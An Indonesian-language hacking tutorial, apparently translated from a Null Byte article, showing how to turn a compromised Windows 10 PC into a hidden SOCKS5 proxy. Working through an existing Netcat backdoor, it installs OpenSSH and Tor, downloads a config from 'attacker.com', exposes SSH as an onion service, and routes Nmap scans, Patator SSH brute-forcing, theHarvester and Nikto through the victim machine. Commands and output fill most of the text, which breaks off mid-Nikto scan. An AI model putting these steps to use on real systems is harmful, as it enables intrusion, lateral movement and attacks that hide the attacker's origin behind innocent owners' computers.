Cara Mengubah PC Windows 10 Menjadi Proxy Web
Seorang peretas dengan akses istimewa ke komputer Windows 10 dapat mengkonfigurasinya untuk bertindak sebagai proxy web, yang memungkinkan penyerang untuk menargetkan perangkat dan layanan di jaringan melalui komputer yang dikompromikan. Penyelidikan dan serangan tampaknya berasal dari komputer Windows 10 sehingga sulit untuk mendeteksi lokasi sebenarnya penyerang.
Serangan itu bekerja dengan server OpenSSH dan Tor. Dalam versi Windows 10 yang lebih baru, server SSH mungkin sudah diinstal dan dijalankan, membuatnya lebih mudah bagi penyerang untuk menyalahgunakan layanan.
Mengapa Seseorang Akan Melakukan Ini ke Komputer Saya?
Tidak ada yang tahu apa yang dapat dilakukan topi hitam dengan perangkat Windows 10 yang bertindak sebagai proxy pribadi. Jika ini terjadi pada komputer Anda, ada kemungkinan Anda bukan target utama peretas. Dalam lingkungan perusahaan, perangkat yang dikompromikan akan bertindak sebagai sistem infiltrasi yang memungkinkan penyerang untuk menargetkan orang lain dan mesin di jaringan perusahaan.
Dengan jaringan rumah, peretas dapat menggunakan komputer sebagai proksi web untuk melakukan transaksi kartu kredit yang curang, serangan penolakan layanan, atau konten bajakan torrent. Aktivitas ilegal muncul seolah-olah itu berasal dari perangkat Windows 10 Anda yang menempatkan Anda dalam bahaya besar.
Untuk penguji penetrasi topi putih, ada manfaat untuk menyiapkannya. Sebagai contoh biasanya akan sulit untuk menggunakan alat seperti Nikto, Nmap, Patator, curl, dan TheHarvester langsung dari perangkat yang dikompromikan. Dengan proxy, alat-alat ini dapat digunakan melalui perangkat Windows 10 yang membuka banyak peluang untuk berputar ke perangkat lain tanpa benar-benar terhubung ke jaringan target.
Persyaratan Skenario Serangan
Anda perlu beberapa hal agar metode khusus ini berfungsi dengan baik, yaitu:
- Akses jarak jauh : Artikel ini mengasumsikan beberapa tingkat akses jarak jauh (yaitu, pintu belakang) telah dibuat. Akses jarak jauh dapat diperoleh dengan menggunakan suntikan keystroke MouseJack, muatan USB Rubber Ducky, perangkat backdoor secara fisik, serangan dead USB, dan metode rekayasa sosial lainnya.
- Hak istimewa admin : Jika OpenSSH tidak diinstal pada sistem operasi Windows 10 target, hak istimewa admin yaitu root akan diperlukan untuk menginstal dan mengaturnya. Persyaratan ini sebagian besar bersyarat karena beberapa versi Windows 10 yang lebih baru telah menginstal dan menjalankan server SSH.
- Kata sandi akun : Kata sandi akun pengguna harus masuk ke server SSH setelah disiapkan. Jika shell yang ditinggikan diperoleh tanpa mempelajari kata sandi pengguna akan mungkin untuk membuang hash kata sandi dan memaksa secara offline. Atau dimungkinkan untuk membuat pengguna baru dari jarak jauh. Dimungkinkan juga untuk mengkonfigurasi server OpenSSH untuk memungkinkan login tanpa kata sandi. Kedua metode ini belum diuji, dan di luar cakupan artikel ini. Untuk saat ini kata sandi ke akun Windows 10 yang sudah dikompromikan diperlukan.
Catatan penting
Dalam panduan ini, blok kode yang dimulai dengan > menunjukkan perintah harus dijalankan dengan PowerShell pada sistem Windows 10 (yaitu, pintu belakang Netcat ). Blok kode yang dimulai dengan ~ $ menunjukkan eksekusi perintah Kali Linux.
Apakah OpenSSH Sudah Terinstal Dan Berjalan?
Serangan ini bergantung pada server SSH yang sedang diinstal. Server SSH berbeda dari klien SSH yang ditemukan di sebagian besar versi Windows 10. Jika OpenSSH sudah diinstal, sebagian besar serangan di bawah ini dapat dieksekusi tanpa hak admin yaitu root. Jika OpenSSH tidak diinstal, bagaimanapun hak istimewa admin diperlukan untuk menginstalnya.
Berikut adalah beberapa perintah yang dapat digunakan untuk menentukan apakah OpenSSH sudah diinstal dan berjalan di latar belakang.
Sebagai permulaan, periksa untuk melihat apakah direktori OpenSSH ada. Jika tidak ada direktori, SSH mungkin tidak diinstal.
> ls "C:\Program Files\OpenSSH\"
Perintah Get-NetTCPConnection dapat dengan cepat menentukan layanan mana yang dalam kondisi mendengarkan dan port yang ditempati diberi nomor. Kita bisa melihat port 22 , port SSH default dalam keadaan mendengarkan di komputer ini.
> Get-NetTCPConnection -State Listen
LocalAddress LocalPort RemoteAddress RemotePort State AppliedSetting
------------ --------- ------------- ---------- ----- --------------
:: 49676 :: 0 Listen
:: 7680 :: 0 Listen
:: 445 :: 0 Listen
:: 135 :: 0 Listen
:: 22 :: 0 Listen
0.0.0.0 49676 0.0.0.0 0 Listen
0.0.0.0 5040 0.0.0.0 0 Listen
0.0.0.0 135 0.0.0.0 0 Listen
0.0.0.0 22 0.0.0.0 0 Listen
Nomor port default untuk layanan yang diberikan dapat diubah ke nilai arbitrer. Jadi outputnya tidak pasti 100%.
Dengan netstat, layanan yang menggunakan port tertentu dapat diidentifikasi. Namun, perintah netstat membutuhkan waktu lebih lama untuk menghasilkan keluaran daripada perintah Get-NetTCPConnection. Dalam beberapa kasus, netstat membutuhkan waktu beberapa menit untuk diselesaikan sebelum mengirimkan output ke sistem Kali. Beberapa perintah Get-NetTCPConnection yang lebih terlibat dapat digunakan untuk menunjukkan layanan mana yang menempati port tetapi ini sepertinya kesempatan yang sangat baik untuk menunjukkan kedua opsi.
> netstat -ba
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:22 DESKTOP-U4E0WK3:0 LISTENING
[sshd.exe]
TCP 0.0.0.0:135 DESKTOP-U4E0WK3:0 LISTENING
RpcSs
[svchost.exe]
TCP 0.0.0.0:445 DESKTOP-U4E0WK3:0 LISTENING
Can not obtain ownership information
TCP 0.0.0.0:5040 DESKTOP-U4E0WK3:0 LISTENING
CDPSvc
[svchost.exe]
TCP 0.0.0.0:7680 DESKTOP-U4E0WK3:0 LISTENING
DoSvc
[svchost.exe]
Pada output di atas, kita dapat dengan jelas melihat sshd.exe menempati port 22.
Akhirnya, Get-Process dapat digunakan untuk menunjukkan proses yang berjalan di latar belakang. Prosesnya disusun berdasarkan abjad. Gulir ke bawah ke bagian S maka kita akan menemukan nama proses sshd.
> Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
297 19 6760 24328 0.27 6104 1 ApplicationFrameHost
397 23 18056 50384 3.94 3784 0 aswEngSrv
701 24 19592 38364 12.05 3104 0 aswidsagent
4115 83 69404 40016 24.70 2336 0 AvastSvc
1888 44 22444 35008 4.30 1876 1 AvastUI
...
430 25 5924 15460 0.25 2628 0 spoolsv
98 11 1728 6664 0.05 7388 0 sshd
252 10 2524 7904 0.48 488 0 svchost
156 9 1852 7860 0.13 520 0 svchost
79 5 1040 3912 0.03 908 0 svchost
Sekali lagi, jika SSH tidak ditemukan pada sistem target maka dibutuhkan backdoor admin untuk melakukan banyak perintah di bawah ini. Jika SSH sudah berjalan, lewati ke Langkah 2.
Langkah 1Mengatur SSH pada Target Komputer Windows 10
Semua perintah berikut dijalankan melalui shell terbalik. Ini dapat diatur dengan pendengar Netcat. Mengompromikan sistem Windows 10 sejauh ini telah dibahas dalam artikel berikut:
1Unduh Script Installer OpenSSH
Dalam pengujian saya, sebelum menjalankan Invoke-WebRequest ( iwr ) untuk mengunduh binari OpenSSH, SecurityProtocol harus didefinisikan menggunakan perintah di bawah ini.
> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Unduh OpenSSH-Win64.zip dari GitHub. Pada saat penulisan ini, v7.9.0.0p1-Beta adalah rilis stabil terbaru. Pengunduhan ini dapat memakan waktu satu atau 2 menit tergantung pada kecepatan jaringan sistem Windows 10. Terminal Netcat tidak akan merespons atau menampilkan bilah kemajuan selama ini. Bersabarlah di sini.
> iwr https://github.com/PowerShell/Win32-OpenSSH/releases/download/v7.9.0.0p1-Beta/OpenSSH-Win64.zip -o $env:temp\OpenSSH-Win64.zip
2Buka zip Arsip OpenSSH
Versi PowerShell yang lebih besar dari 5.1 memiliki fungsi dekompresi praktis yang disebut Expand-Archive yang dapat digunakan untuk unzip ffmpeg.zip di direktori temp target dengan cepat.
> Expand-Archive -Path "$env:temp\OpenSSH-Win64.zip" -DestinationPath 'C:\Program Files\OpenSSH' -Force
Expand-Archive akan mengambil file input ( $ env: temp \ OpenSSH-Win64.zip ) dan unzip ke ( -DestinationPath ) folder baru bernama C: \ Program Files \ OpenSSH \.
3Jalankan Skrip Instalasi OpenSSH
Instal server SSH menggunakan skrip "install-sshd.ps1" yang disediakan. Dalam tidak ada kesalahan terjadi setelah beberapa detik, terminal akan melaporkan instalasi yang berhasil. Jika dalam 1 tes Anda mendapat kesalahan ("NoServiceFoundForGivenName") hal ini tampaknya tidak menyebabkan instalasi gagal.
> & "C:\Program Files\OpenSSH\OpenSSH-Win64\install-sshd.ps1"
[SC] SetServiceObjectSecurity SUCCESS
[SC] ChangeServiceConfig2 SUCCESS
[SC] ChangeServiceConfig2 SUCCESS
sshd and ssh-agent services successfully installed
4Mulai Layanan OpenSSH
Setelah diinstal, server SSH tidak akan mulai secara otomatis. Juga tidak akan mulai secara otomatis ketika sistem reboot. Perintah net di bawah ini diperlukan untuk memulai server SSH.
> net start sshd
The OpenSSH SSH Server service is starting..
The OpenSSH SSH Server service was started successfully.
5Verifikasi Server OpenSSH Sedang Berjalan
Untuk memverifikasi lebih lanjut bahwa server SSH sedang berjalan, maka gunakan Get-NetTCPConnection atau Get-Process seperti yang ditunjukkan sebelumnya. Perhatikan port 22 dalam kondisi mendengarkan.
> Get-NetTCPConnection -State Listen
LocalAddress LocalPort RemoteAddress RemotePort State AppliedSetting
------------ --------- ------------- ---------- ----- --------------
:: 49676 :: 0 Listen
:: 7680 :: 0 Listen
:: 445 :: 0 Listen
:: 135 :: 0 Listen
:: 22 :: 0 Listen
0.0.0.0 49676 0.0.0.0 0 Listen
0.0.0.0 5040 0.0.0.0 0 Listen
0.0.0.0 135 0.0.0.0 0 Listen
0.0.0.0 22 0.0.0.0 0 Listen
Langkah 2Mengatur Tor pada Komputer Windows 10 Target
Dengan server OpenSSH aktif dan berjalan, Tor dapat diinstal.
1Unduh Tor ZIP
Untuk memulai, unduh ZIP yang mengandung binari Tor dan DLL prakompilasi. Saat ini versi tor-win32-0.3.5.8.zip adalah rilis stabil terbaru. Di masa depan mungkin diinginkan untuk memeriksa situs web Proyek Tor untuk rilis yang lebih baru. Ambil URL "Windows Expert Bundle" bukan file sumber tar.gz.
> iwr 'https://www.torproject.org/dist/torbrowser/8.0.9/tor-win32-0.3.5.8.zip' -o $env:temp\tor.zip
2Ekstrak Arsip Tor
> Expand-Archive -Path $env:TEMP\tor.zip -DestinationPath $env:TEMP\tor\
> cd $env:TEMP\tor\Tor\
> ls
Directory: C:\Users\USERNAME\AppData\Local\Temp\tor\Tor
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/21/2019 3:31 PM 2585371 libeay32.dll
-a---- 2/21/2019 3:31 PM 860748 libevent-2-1-6.dll
-a---- 2/21/2019 3:31 PM 601445 libevent_core-2-1-6.dll
-a---- 2/21/2019 3:31 PM 562811 libevent_extra-2-1-6.dll
-a---- 2/21/2019 3:31 PM 991228 libgcc_s_sjlj-1.dll
-a---- 2/21/2019 3:31 PM 278533 libssp-0.dll
-a---- 2/21/2019 3:31 PM 511930 libwinpthread-1.dll
-a---- 2/21/2019 3:31 PM 788352 ssleay32.dll
-a---- 2/21/2019 3:31 PM 1007104 tor-gencert.exe
-a---- 2/21/2019 3:31 PM 3794944 tor.exe
-a---- 2/21/2019 3:31 PM 107520 zlib1.dll
3Buat File Konfigurasi Torrc
Dalam output ls, perhatikan tidak ada file "torrc". Torrc adalah file konfigurasi dengan instruksi bagaimana Tor seharusnya berperilaku. Dalam hal ini Anda ingin Tor membuat alamat layanan bawang baru. Siapa pun yang telah mengatur layanan bawang Tor sebelumnya akan ingat mengkonfigurasi HiddenServiceDir dan HiddenServicePort di file torrc. Nilai-nilai ini bertanggung jawab untuk direktori tempat Tor masing-masing akan menyimpan informasi tentang layanan bawang dan port yang digunakan oleh layanan bawang.
Dalam pengujian saya, ada beberapa kesalahan baris baru yang mengganggu yang terjadi ketika file torrc dibuat dengan gema dan cmdlet pembuatan file PowerShell lainnya. Pada akhirnya lebih mudah untuk meng-host file torrc yang diinginkan pada server jarak jauh dan cukup mengunduhnya dengan PowerShell.
Pertama, verifikasi nama pengguna target menggunakan variabel $ env di PowerShell. Nama pengguna ini diperlukan untuk file konfigurasi torrc berikut.
> echo $env:username
tokyoneon
Sekarang, di Kali atau server pribadi virtual , buat file bernama "torrc" dan simpan konfigurasi torrc di bawah ini ke file tersebut. Atau file ini dapat di-host di server file-sharing atau GitHub.
HiddenServiceDir C:\Users\USERNMAE\AppData\Local\Temp\tor\Tor\HS\
HiddenServicePort 22 127.0.0.1:22
4Unduh Torrc dari Sistem Penyerang
Untuk membuat file torrc dapat diunduh, atur server web Python3 sederhana untuk membuat file tersebut dapat diakses oleh siapa saja di jaringan dan internet.
~$ python3 -m http.server 80
Di Windows 10, perintah Invoke-WebRequest dapat digunakan lagi untuk mengunduh file konfigurasi torrc dari sistem penyerang.
> iwr attacker.com/torrc -o torrc
Sekarang, gunakan ls untuk memverifikasi file torrc telah disimpan dengan benar.
> ls
Directory: C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/21/2019 3:31 PM 2585371 libeay32.dll
-a---- 2/21/2019 3:31 PM 860748 libevent-2-1-6.dll
-a---- 2/21/2019 3:31 PM 601445 libevent_core-2-1-6.dll
-a---- 2/21/2019 3:31 PM 562811 libevent_extra-2-1-6.dll
-a---- 2/21/2019 3:31 PM 991228 libgcc_s_sjlj-1.dll
-a---- 2/21/2019 3:31 PM 278533 libssp-0.dll
-a---- 2/21/2019 3:31 PM 511930 libwinpthread-1.dll
-a---- 2/21/2019 3:31 PM 788352 ssleay32.dll
-a---- 2/21/2019 3:31 PM 1007104 tor-gencert.exe
-a---- 2/21/2019 3:31 PM 3794944 tor.exe
-a---- 5/7/2019 9:03 PM 99 torrc
-a---- 2/21/2019 3:31 PM 107520 zlib1.dll
> cat torrc
HiddenServiceDir C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\HS\
HiddenServicePort 22 127.0.0.1:22
5Mulai Proses Tor
Akhirnya, mulai tor.exe dengan perintah di bawah ini. Setelah menjalankan perintah, tunggu terminal Netcat untuk membaca "Bootstrapped 100%: Done." Ini akan menunjukkan sudah mulai dengan benar. Tekan Enter pada keyboard untuk kembali ke shell Netcat interaktif.
> Start-Process -NoNewWindow -FilePath .\tor.exe -ArgumentList '-f','torrc'
PS C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor> May 08 10:43:43.090 [notice] Tor 0.3.5.8 (git-5030edfb534245ed) running on Windows 8 [or later] with Libevent 2.1.8-stable, OpenSSL 1.0.2q, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.
May 08 10:43:43.152 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
May 08 10:43:43.699 [notice] Read configuration file "C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\torrc".
May 08 10:43:43.715 [warn] Path for GeoIPFile (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted?
May 08 10:43:43.715 [warn] Path for GeoIPv6File (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted?
May 08 10:43:43.762 [notice] Opening Socks listener on 127.0.0.1:9050
May 08 10:43:43.762 [notice] Opened Socks listener on 127.0.0.1:9050
May 08 10:43:43.000 [notice] Bootstrapped 0%: Starting
May 08 10:43:43.000 [notice] Starting with guard context "default"
May 08 10:43:45.000 [notice] Bootstrapped 5%: Connecting to directory server
May 08 10:43:45.000 [notice] Bootstrapped 10%: Finishing handshake with directory server
May 08 10:43:48.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection
May 08 10:43:49.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus
May 08 10:43:50.000 [notice] Bootstrapped 25%: Loading networkstatus consensus
May 08 10:43:56.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.
May 08 10:43:57.000 [notice] Bootstrapped 40%: Loading authority key certs
May 08 10:44:00.000 [notice] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services.
May 08 10:44:00.000 [notice] Bootstrapped 45%: Asking for relay descriptors for internal paths
May 08 10:44:00.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)
May 08 10:44:04.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)
May 08 10:44:05.000 [notice] Bootstrapped 50%: Loading relay descriptors for internal paths
May 08 10:44:06.000 [notice] The current consensus contains exit nodes. Tor can build exit and internal paths.
May 08 10:44:13.000 [notice] Bootstrapped 56%: Loading relay descriptors
May 08 10:44:15.000 [notice] Bootstrapped 64%: Loading relay descriptors
May 08 10:44:16.000 [notice] Bootstrapped 70%: Loading relay descriptors
May 08 10:44:18.000 [notice] Bootstrapped 76%: Loading relay descriptors
May 08 10:44:18.000 [notice] Bootstrapped 80%: Connecting to the Tor network
May 08 10:44:19.000 [notice] Bootstrapped 85%: Finishing handshake with first hop
May 08 10:44:23.000 [notice] Bootstrapped 90%: Establishing a Tor circuit
May 08 10:44:28.000 [notice] Bootstrapped 100%: Done
<press Enter here>
6Temukan Alamat Bawang
Setelah Tor dimulai, direktori baru yang disebut "HS" akan dibuat. Dalam direktori ini, file hostname yang berisi alamat bawang dapat ditemukan. Gunakan cat untuk melihat konten file.
> cat HS\hostname
w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onion
Langkah 3Hubungkan ke Server OpenSSH Melalui Tor
Kembali di Kali Linux lagi, Tor perlu diinstal untuk berinteraksi dengan layanan bawang baru yang berjalan di komputer Windows 10.
1Pasang Tor di Kali Linux
Tor dapat diinstal di Kali dengan perintah apt-get install -y tor tetapi lebih baik untuk menginstalnya dari repositori Tor Project. Instalasi ini telah dibahas dalam artikel Null Byte baru-baru ini tentang menyembunyikan layanan SSH dari Shodan. Pastikan untuk merujuknya untuk penelusuran instalasi terperinci.
2Uji Koneksi SSH
Sebelum kita mulai menggunakan alat peretasan saat menggunakan komputer Windows 10 sebagai proksi, mari pastikan server SSH dapat dijangkau dari sistem Kali. The torsocks perintah harus sudah termasuk dalam paket instalasi Tor. Jika tidak maka instal dengan perintah di bawah ini.
~$ apt-get install torsocks
Reading package lists... Done
Building dependency tree
Reading state information... Done
torsocks is already the newest version (2.3.0-2).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Kemudian gunakan torsocks dengan ssh untuk terhubung ke server SSH yang berjalan pada perangkat target Windows 10.
~$ torsocks ssh -v -p22 user@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onion
Diperlukan waktu hingga 60 detik untuk membuat koneksi beberapa kali pertama. Kelambatan ini biasa terjadi pada layanan bawang baru dan menggabungkan SSH dengan Tor. Jika koneksi SSH terjalin hal itu akan bagus. Semuanya berfungsi seperti yang diharapkan. Ketik exit atau tekan Ctrl + d untuk keluar dari sesi SSH.
3Aktifkan Opsi Proxy
Buka terminal baru dan gunakan perintah di bawah ini untuk membuat port proxy SOCKS5 pada 1337. Nomor port ini semau Anda dan dapat diubah menjadi apa pun di bawah 65535.
~$ torsocks ssh -D 1337 -C -p22 tokyoneon@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onion
Microsoft Windows [Version 10.0.17134.706]
(c) 2018 Microsoft Corporation. All rights reserved.
tokyoneon@DESKTOP-U4E0WK3 C:\Users\tokyoneon>
Terminal SSH baru akan muncul di sini. Ini tidak dimaksudkan untuk berinteraksi dengan. Selama terminal ini terbuka, proksi akan tetap tersedia. Di Kali, verifikasi port proxy dibuka menggunakan perintah ss untuk melihat port mendengarkan yang tersedia. Perhatikan port 1337 pada 127.0.0.1 yang ini dapat dikonfigurasikan dengan alat peretasan dan browser web untuk permintaan proxy melalui komputer Windows 10 yang diretas.
~$ ss -tpl
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.1:1337 0.0.0.0:* users:(("ssh",pid=5798,fd=4))
Langkah 4Konfigurasikan Alat Peretasan untuk Menggunakan Proksi
Biasanya proxy SOCKS5 digunakan untuk memotong filter konten atau bertindak sebagai alternatif server pribadi virtual. Dalam hal ini digunakan untuk merutekan alat peretasan melalui komputer Windows 10.
Banyak alat yang dapat dikonfigurasi untuk berfungsi dengan proxy ini. Proxychains adalah contoh yang bagus. Dengan proxychains maka dimungkinkan untuk mem-proxy banyak alat baris perintah melalui koneksi SSH.
1Pasang Proxychains
Pastikan proxychains terinstal di Kali Linux. Ini dapat dilakukan dengan perintah instalasi di bawah ini.
~$ apt-get install proxychains
Secara default, Proxychains akan dikonfigurasikan untuk menganonimkan permintaan proxy dengan Tor di port 9050. Anda tidak menggunakan proxychains untuk tujuan ini jadi file konfigurasi perlu dimodifikasi.
Gunakan nano untuk membuka file proxychains.conf. Ubah baris terakhir dalam file dari "socks4 127.0.0.1 9050" menjadi "socks5 127.0.0.1 1337" dan keluar dari nano.
~$ nano /etc/proxychains.conf
2Pemindaian Proxy Nmap
Banyak orang mungkin mencoba melakukan pemindaian Nmap melalui komputer Windows 10 segera setelah membuat proksi SOCKS5. Perlu diingat bahwa Nmap memiliki dukungan terbatas untuk fungsi proxy yang dibangun di dalamnya. Tidak semua jenis pemindaian Nmap akan didukung bahkan ketika digabungkan dengan rantai proxy.
~$ proxychains nmap -p80,22,21,443,8080,8443 -sS -T5 192.168.1.1/24
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 19:25 UTC
Nmap scan report for 192.168.1.183
Host is up (0.00093s latency).
PORT STATE SERVICE
21/tcp filtered ftp
22/tcp filtered ssh
80/tcp filtered http
443/tcp filtered https
8080/tcp filtered http-proxy
MAC Address: 16:BE:3F:F6:E1:22 (Hewlett Packard)
Nmap scan report for 192.168.1.225
Host is up (0.0023s latency).
PORT STATE SERVICE
21/tcp closed ftp
22/tcp open ssh
80/tcp closed http
443/tcp closed https
8080/tcp open http-proxy
MAC Address: 74:B3:4C:D2:33:A2 (Sony)
Nmap scan report for 192.168.1.1
Host is up (0.000044s latency).
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
443/tcp closed https
8080/tcp closed http-proxy
Nmap done: 256 IP addresses (3 hosts up) scanned in 8.39 seconds
3Perintah Proxy Curl
Curl adalah alat baris perintah yang kuat yang digunakan untuk membuat berbagai jenis permintaan web dengan dukungan untuk berbagai protokol dan fitur. Ini dapat berguna untuk menghitung jenis server web yang ditemukan pada perangkat di jaringan. Tidak seperti banyak alat lainnya, curl memiliki dukungan SOCKS5 bawaan yang dapat dipanggil dengan opsi --proxy .
~$ curl --proxy socks5://127.0.0.1:1337 -I 'http://192.168.1.225'
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.6.8
Date: Thu, 09 May 2019 21:34:29 GMT
Content-type: text/html; charset=utf-8
Content-Length: 1387
Curl dengan Proxychains berfungsi seperti yang diharapkan juga.
~$ proxychains curl http://192.168.1.225:8080
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
</body>
</html>
Di sisi server, kita dapat melihat permintaan dibuat dari alamat IP 192.168.1.183. Ini adalah alamat IP perangkat Windows 10 bukan sistem Kali di jaringan lain di tempat lain di dunia.
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.1.183 - - [09/May/2019 21:51:51] "HEAD / HTTP/1.1" 200 -
192.168.1.183 - - [09/May/2019 21:51:58] "GET / HTTP/1.1" 200 -
4Serangan Brute-Force Proxy Patator
Patator adalah alat brute-forcing baris perintah. Dengan rantai proxy, Patator dapat digunakan untuk layanan brute-force melalui komputer Windows 10. Meskipun belum teruji, sintaks yang sama dapat digunakan dengan alat brute-force lainnya seperti Hydra dan Medusa.
~$ proxychains patator ssh_login host=192.168.1.225 port=22 user=root password=FILE0 0=/tmp/simple_wordlist.txt -t 1
ProxyChains-3.1 (http://proxychains.sf.net)
INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-05-08 20:51 UTC
INFO -
INFO - code size time | candidate | num | mesg
INFO - -----------------------------------------------------------------------------
INFO - 1 22 5.921 | 123456 | 1 | Authentication failed.
INFO - 1 22 5.496 | Abcdef123 | 2 | Authentication failed.
INFO - 1 22 5.619 | a123456 | 3 | Authentication failed.
INFO - 1 22 5.532 | little123 | 4 | Authentication failed.
INFO - 1 22 5.640 | nanda334 | 5 | Authentication failed.
INFO - 0 30 2.583 | tokyoneon | 6 | SSH-2.0-OpenSSH_7.9p1 Debian-5
INFO - 1 22 5.723 | abc12345 | 7 | Authentication failed.
INFO - 1 22 5.501 | password | 8 | Authentication failed.
INFO - 1 22 5.567 | Pawerjon123 | 9 | Authentication failed.
Di sisi server lagi, kita dapat melihat tebakan kata sandi gagal yang berasal dari alamat IP Windows 10 (192.168.1.183). Ini adalah verifikasi lebih lanjut bahwa serangan yang datang dari sistem Kali sedang dialihkan dengan benar melalui komputer Windows 10.
sshd[1353]: Failed password for root from 192.168.1.183 port 50148 ssh2
sshd[1353]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50148 ssh2 [preauth]
sshd[1353]: Disconnecting authenticating user root 192.168.1.183 port 50148: Too many authentication failures [preauth]
sshd[1353]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root
sshd[1353]: PAM service(sshd) ignoring max retries; 6 > 3
sshd[1358]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50149 ssh2 [preauth]
sshd[1358]: Disconnecting authenticating user root 192.168.1.183 port 50149: Too many authentication failures [preauth]
sshd[1358]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root
sshd[1358]: PAM service(sshd) ignoring max retries; 6 > 3
sshd[1362]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183 user=root
sshd[1362]: Failed password for root from 192.168.1.183 port 50150 ssh2
sshd[1362]: Accepted password for root from 192.168.1.183 port 50150 ssh2
5Memindai Proxy The Harvester
The Harvester adalah alat pengumpulan informasi yang ditujukan untuk penguji penetrasi pada tahap awal keterlibatan tim merah. Ini fitur kemampuan untuk melakukan verifikasi virtual host, enumerasi DNS, pencarian domain terbalik, dan pencarian IP serta membuat permintaan Shodan.
~$ proxychains theharvester -d nmap.org -l 200 -b bing,censys,yahoo
ProxyChains-3.1 (http://proxychains.sf.net)
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* theHarvester Ver. 3.0.6 *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
found supported engines
[-] Starting harvesting process for domain: nmap.org
[-] Searching in Censys:
[-] Searching in Bing:
Searching 50 results...
Searching 100 results...
Searching 150 results...
Searching 200 results...
[-] Searching in Yahoo..
Searching 0 results...
Searching 10 results...
Searching 190 results...
Searching 200 results...
Harvesting results
No IP addresses found
[+] Emails found:
------------------
fyodor@nmap.org
dev@nmap.org
c@nmap.org
[+] Hosts found in search engines:
------------------------------------
Total hosts: 6
[-] Resolving hostnames IPs...
issues.nmap.org:45.33.49.119
research.nmap.org:71.6.152.72
scanme.nmap.org:45.33.32.156
svn.nmap.org:45.33.49.119
www.nmap.org:45.33.49.119
6Proxy Nikto Scan
Nikto adalah pemindai server web sederhana yang memeriksa situs web dan melaporkan kerentanan yang nantinya dapat digunakan untuk membahayakan situs.
Meskipun Nikto memiliki dukungan bawaan untuk proksi HTTP namun itu tidak dapat digunakan dengan proksi SOCKS5 ini. Anda tidak menguji banyak opsi dan argumen Nikto, tetapi pemindaian sederhana tampaknya berfungsi dengan baik. Pembaca didorong untuk bereksperimen dengan yang ini sebelum tampil dalam skenario nyata.
~$ proxychains nikto -host 192.168.1.225 -port 8080 -nossl
ProxyChains-3.1 (http://proxychains.sf.net)
- Nikto v2.1.6
---------------------------------------------------------------------------
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
